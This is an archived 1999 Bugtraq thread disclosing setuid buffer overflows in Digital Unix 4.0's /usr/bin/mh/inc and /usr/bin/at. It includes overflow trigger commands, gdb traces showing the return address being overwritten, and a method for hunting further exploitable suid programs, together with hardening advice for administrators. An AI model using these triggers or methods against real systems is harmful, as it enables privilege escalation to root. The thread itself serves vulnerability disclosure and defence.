digital-unix-4.0-bof.txt

`Date: Mon, 25 Jan 1999 12:21:45 -0800  
From: Lamont Granquist <[email protected]>  
To: [email protected]  
Subject: Digital Unix 4.0 exploitable buffer overflows  
  
Previously Digital Unix has been relatively immune to buffer overflow  
attacks due to the lack of an executable stack in the 3.x versions. For  
the 4.0 versions the stack was made executable -- likely for JIT compilers  
and maybe programs that need GCC-like trampolines. This, of course,  
greatly simplifies the coding of exploits.  
  
I have actually written shellcode and successfully exploited several  
programs on Digital Unix 4.0. I managed to successfully exploit  
/usr/bin/at in Digital Unix 4.0B (no patches) which is probably the same  
bug as CA-97.18.at (www.cert.org/advisories/CA-97.18.at.html) -- this was  
patched in DU4.0D and hopefully is fixed in the patch kits for DU4.0B  
(although I have not checked the latter).  
  
I also successfully exploited /usr/bin/mh/inc in DU4.0D with patch kit #2.  
I have not tested it against patch kit #3 yet, but have reason to believe  
that it has not yet been included in a patch kit (hopefully I'll have PK3  
installed later this week and can get back definitely on this).  
  
The exploit for both of these programs will be shortly forthcoming, but in  
the meantime this should be sufficient evidence that these are  
exploitable:  
  
# uname -a  
OSF1 xxx V4.0 878 alpha  
# head -1 /etc/motd  
Digital UNIX V4.0D (Rev. 878); Fri Jan 15 10:19:07 PST 1999  
# grep KITNAME /var/adm/patch/log/event.log  
KITNAME>Patches for Digital UNIX V4.0D (DUV40DAS00002-19980717,17-Jul-1998:09:17:35)  
# ls -l /usr/bin/mh/inc  
-rws--x--x 1 root bin 73728 Dec 29 1997 /usr/bin/mh/inc*  
# /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8400'` foo  
Segmentation fault (core dumped)  
# gdb /usr/bin/mh/inc core  
GDB is free software and you are welcome to distribute copies of it  
under certain conditions; type "show copying" to see the conditions.  
There is absolutely no warranty for GDB; type "show warranty" for details.  
GDB 4.16 (alpha-dec-osf4.0), Copyright 1996 Free Software Foundation,  
Inc...  
(no debugging symbols found)...  
Core was generated by `inc'.  
Program terminated with signal 11, Segmentation fault.  
[...snip...]  
#0 0x6161616161616160 in ?? ()  
(gdb)  
  
For /usr/bin/at, you need to have DU4.0B (or A or C?) and:  
  
% /usr/bin/at `perl -e 'print "a" x 300'`  
Segmentation fault (core dumped)  
% gdb /usr/bin/at core  
GNU gdb 4.17  
Copyright 1998 Free Software Foundation, Inc.  
GDB is free software, covered by the GNU General Public License, and you are  
welcome to change it and/or distribute copies of it under certain conditions.  
Type "show copying" to see the conditions.  
There is absolutely no warranty for GDB. Type "show warranty" for details.  
This GDB was configured as "alpha-dec-osf3.2"...(no debugging symbols found)...  
Core was generated by `at'.  
Program terminated with signal 11, Segmentation fault.  
[...]  
#0 0x6161616161616160 in ?? ()  
%  
  
As I said, the /usr/bin/at bug has been fixed in DU4.0D, and probably in  
patch kits to earlier Dunix versions.  
  
Also, if you search back in the Bugtraq archives, there is a post by  
myself with a short program that tests the stack to see if it is  
executable or not. If it is compiled and tested on DU4.0 you should  
notice that it works instead of failing the way that it does on DU3.x  
  
I *will* be releasing the exploits publically so that it is possible to  
confirm that they work and to allow people to bash on other suid programs  
on Digital Unix. This is an advance warning so that admins can take  
appropriate steps to secure their systems. In particular,  
  
WHAT TO DO:  
  
1. visit ftp://ftp.service.digital.com/public/dunix/ and download and  
install the appropriate patch kit for digital unix.  
2. turn off the group+world read permissions on all your suid files to  
prevent them from coredumping for non-root users (in versions of  
digital unix prior to 4.0D this may be a more severe security hole).  
3. turn off the suid bits for all suid programs that you do not use and  
in particular 'chmod u-s /usr/bin/mh/inc' if nobody uses it.  
4. for security-critical sites (ISPs) (or if you use /usr/bin/at and  
cannot patch it or if you use /usr/bin/mh/inc) wrap the remaining  
programs with a suid wrapper, eg:  
ftp://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper  
5. audit all the programs that you have listening on TCP/IP ports -- i  
would expect that with shellcode out there that people can adapt  
current exploits for bind, ttdbserverd and statd to digital unix.  
5a. use 'nmap' or 'strobe'  
5b. use 'rpcinfo -p'  
5c. look through 'ps xa' to find daemons running which you aren't  
using, find then in either /etc/inetd.conf or the /sbin/rc?.d  
startup files  
5d. take services out of /etc/inetd.conf  
  
In anticipation of a flood of e-mail of people asking me "hey, i found  
program xxx dumps core on digital unix, can i exploit it?", here are some  
steps to take first:  
  
BEFORE EMAILING ME:  
  
1. Please make sure that your system is running with the latest  
patch kit installed for the version of digital unix that you are  
running. Please include a 'uname -a' and that 'grep KITNAME' from  
the machine that you are running (head -1 /etc/motd helps too since  
I don't know rev numbers for DU version i haven't worked on).  
2. Please do the extra work to check with gdb to see if the program  
will jump to the magic '0x6161616161616160' address -- if you can't  
get this far then you aren't able to tweak the return address and  
I CANNOT HELP. I've found a lot of programs in digital unix that  
dump core and stubbornly refuse to give a 0x6161616161616160 and  
without a source license I can't figure out if they might be  
exploitable with a bit more sophisticated attack. It may, however,  
help to trim down the size of the argument that you're overflowing  
with a bit.  
3. Please figure out what the size of the buffer is that you're smashing  
by reducing your smashing argument to the smallest size which gives  
an error. This goes along with the last sentence of #2 -- Get it as  
small as possible, then add about 24 (to hopefully make sure that  
you're hitting the RA -- try 40, 60, 100 if 24 doesn't work) and then  
look for the 0x6161616161616160. The binary search algorithm is your  
friend for this step.  
4. Check to make sure that you can get values other than 0x61 ('a') into  
the return address. /usr/sbin/trpt -p `perl -e 'print "a" x 600'  
will give the magic '0x6161616161616160' but the overflow bytes are  
restricted to hex [A-Fa-F0-9] and I can't write shellcode that is  
that restricted (and those restrictions on ra locations probably makes  
it damn near impossible to exploit this one even if i had that kind  
of shellcode).  
  
--  
Lamont Granquist [email protected]  
Dept. of Molecular Biotechnology (206)616-5735 fax: (206)685-7344  
Box 352145 / University of Washington / Seattle, WA 98195  
PGP pubkey: finger [email protected] | pgp -fka  
  
--------------------------------------------------------------------------  
  
Date: Tue, 26 Jan 1999 15:46:27 -0500  
From: Larry W. Cashdollar <[email protected]>  
To: [email protected]  
Subject: Re: Digital Unix 4.0 exploitable buffer overflows  
  
I decided to inspect this a little more on a Digital unix box I had access too.  
  
  
  
alpha>> uname -a  
OSF1 xxx V4.0 878 alpha  
alpha>> head -1 /etc/motd  
Digital UNIX V4.0D (Rev. 878); Tue Jul 7 08:39:27 EDT 1998  
alpha>> ls -l /usr/bin/mh/inc  
-rws--x--x 1 root bin 73728 Dec 29 1997 /usr/bin/mh/inc*  
  
alpha>> /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8169'` foo  
Segmentation fault  
alpha>> /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8168'` foo  
Illegal instruction  
alpha>> /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8167'` foo  
Segmentation fault  
alpha>> /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8166'` foo  
inc: usage: inc [+folder] [switches]  
  
We see at 8168 a's we have overflowed the return address. If I wasnt married  
I could probably follow this up with the exploit. Just a little nop padding and  
I think it would be the perfect example of a buffer overflow exploit.  
  
  
-- Larry W. Cashdollar  
  
--------------------------------------------------------------------------  
  
Date: Thu, 28 Jan 1999 10:59:39 -0800  
From: Lamont Granquist <[email protected]>  
To: [email protected]  
Subject: Re: Digital Unix 4.0 exploitable buffer overflows  
  
On Wed, 27 Jan 1999, GANG WANG wrote:  
> Here is what I got.  
>  
> % uname -a  
> OSF1 xxx V4.0 878 alpha  
> % head -1 /etc/motd  
> Digital UNIX V4.0D (Rev. 878); Tue Jul 7 08:39:27 EDT 1998  
> % ls -l /usr/bin/mh/inc  
> -rws--x--x 1 root bin 73728 Dec 30 1997 /usr/bin/mh/inc*  
>  
> % /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8167'` foo  
> Word too long.  
> % /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 2040'` foo  
> inc: usage: inc [+folder] [switches]  
> % /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 2048'` foo  
> Word too long.  
>  
> Seems this inc bug has been fixed already.  
  
  
"Word too long." is an error coming from the shell that you are using.  
To be able to test this you will probably need to use (a recent version  
of?) tcsh, which will let you have a command line of slightly over 10k  
characters. Also note that the size of the buffer seems to vary with  
things like strlen(USER) and possibly the phase of the moon. It requires  
wrapping the buffer overflow exploit with a script to sequentially attempt  
different offsets until the right one is obtained and drops one into a  
rootshell. Therefore, don't try 8167 and assume that since you got a  
"inc: usage:" message instead of a core that its not exploitable -- try at  
least 8200-8300.  
  
I think I'll be posting the exploit (with NULL-less alpha shellcode) on  
Monday. To those who would like me to hold off, the answer is that I  
already have. I developed these last August, I sent e-mail off to CERT  
which was completely ignored sometime around then, I got in touch with  
people at Digital/Compaq around late November/early December and I'm  
giving a week grace period between posting the announcement and the  
exploits. And holding off the posting of the exploits now is pretty  
silly, you can probably shove that shellcode which was posted to BUGTRAQ  
into the stack (via environment variable) and in a few hours testing get  
inc to jump to it. I don't think that you need to remove the NULLs for  
this, since I don't think that NULLs get in the way of passing stuff to a  
program though the environment variables (?). Anyway, the 31337 h4x0r$ on  
irc probably already have working exploits by now, so the damage of  
releasing exploits probably isn't ever going to get any better while the  
damage of not releasing them is going to get worse (that sub-set of  
Digital Unix admins who need a 2-mins-to-root script in their hands before  
they'll wake up, will not take appropriate measures while exploits that I  
didn't write will be rooting their machines...).  
  
Anyway, sorry for the brief rant, here's some halfway solid info from the  
alpha-osf-managers list:  
  
----------------------------------------------  
Date: Tue, 26 Jan 1999 17:02:13 +0000 (GMT)  
>From: Bob Vickers <[email protected]>  
Subject: SUMMARY: Why are MH utilities setuid?  
To: [email protected]  
  
Dear All,  
  
I asked why /usr/bin/mh/inc and /usr/bin/mh/msgchk need to be setuid  
(prompted by a report from Lamont Granquist that inc has a security  
hole).  
  
Thanks to Dan Riley and Mike Iglesias who made very similar  
comments. I'll quote Dan Riley:  
  
> As far as I know, inc and msgchk are setuid just so they can open a  
> privileged port for the "rpop" protocol, which is basically pop with  
> rsh/rlogin style trusted port authentication. If you aren't using  
> rpop (e.g. if you have a locally visible mail spool area), then you  
> can safely remove the suid bit.  
---------------------------------------------  
  
So, I would strongly suggest that admins:  
  
1. chmod u-s /usr/bin/mh/inc /usr/bin/mh/msgchk  
2. strip suid bits off of other unused suid binaries  
3. strip read bits off of remaining suid binaries  
4. install publically avaiable suid wrappers in anticipation of other  
digital unix suid programs being broken  
5. turn off unused inet services  
  
  
--  
Lamont Granquist [email protected]  
Dept. of Molecular Biotechnology (206)616-5735 fax: (206)685-7344  
Box 352145 / University of Washington / Seattle, WA 98195  
PGP pubkey: finger [email protected] | pgp -fka  
  
--------------------------------------------------------------------------  
  
Date: Thu, 28 Jan 1999 13:41:17 -0800  
From: FrontLine Assembly <[email protected]>  
To: [email protected]  
Subject: Re: Digital Unix 4.0 exploitable buffer overflows  
  
On Wed, 27 Jan 1999, GANG WANG wrote:  
  
> % /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8167'` foo  
> Word too long.  
> % /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 2040'` foo  
> inc: usage: inc [+folder] [switches]  
> % /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 2048'` foo  
> Word too long.  
> Seems this inc bug has been fixed already.  
  
This bug is present in Digital UNIX 4.0A also.  
  
OSF1 fubar V4.0 464 alpha  
Digital UNIX V4.0A (Rev. 464); Mon Dec 21 00:51:53 CST 1998  
lazy> /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8181'` foo  
inst fault=opdec pid=30125 <inc> pc=0x120000064 ps=0x8 inst=0x1  
Illegal instruction  
  
  
  
.-----------------------------------------------------------------.  
| FrontLine Assembly | " You Are Only Alive Because Someone Has |  
| |___. Decided To Let You Live " - KMFDM |  
| [email protected] | URL: http://www.leviathan.org/ |  
`-----------------------' `---------------------------------------'  
  
`